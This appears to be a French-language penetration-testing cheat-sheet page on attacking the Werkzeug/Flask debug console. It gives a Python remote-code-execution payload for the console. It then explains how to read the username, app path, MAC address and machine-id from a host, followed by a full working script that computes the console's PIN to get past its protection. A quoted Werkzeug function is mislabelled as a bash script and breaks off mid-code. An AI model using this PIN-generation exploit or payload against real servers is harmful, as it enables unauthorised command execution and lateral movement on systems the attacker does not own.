Aller au contenu

Console de debug

http://domain.com/console

RCE :

__import__('os').popen('whoami').read();

Si la console est protégée par un PIN, ça se complique :). Il est possible de générer le code PIN si nous avons déjà un accès à la machine (ce qui peut permettre du lateral movement).

Pour générer le PIN, plusieurs informations sont nécessaires:

  • username qui a initié l'application.
  • modname (flask.app, la plupart du temps).
  • getattr(mod, '__file__', None) le path vers app.py (/usr/local/lib/python3.5/dist-packages/flask/app.py , par exemple).
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) généralement "Flask".
  • uuid.getnode() est l'adresse MAC de l'interface réseau du serveur, sous forme décimale. Pour la trouver : /sys/class/net/<device id>/address puis la convertir sous forme décimale, par exemple avec python (exemple : print(0x5600027a23ac))
  • get_machine_id() : trouvable avec ce script bash :
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:

Puis remplir ce script python avec toutes les informations trouvées :

import hashlib
from itertools import chain
probably_public_bits = [
    'user',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Une fois exécuté, le script devrait générer un code PIN valide pour l'accès à la console de werkzeug.

[!Attention]
Plusieurs méthodes différentes existent pour trouver ces variables, et ne donnent pas le même résultat final, il peut être nécessaire de tester plusieurs fois. Aussi, la console de debug peut se locker après un certain nombre d'essais, attention !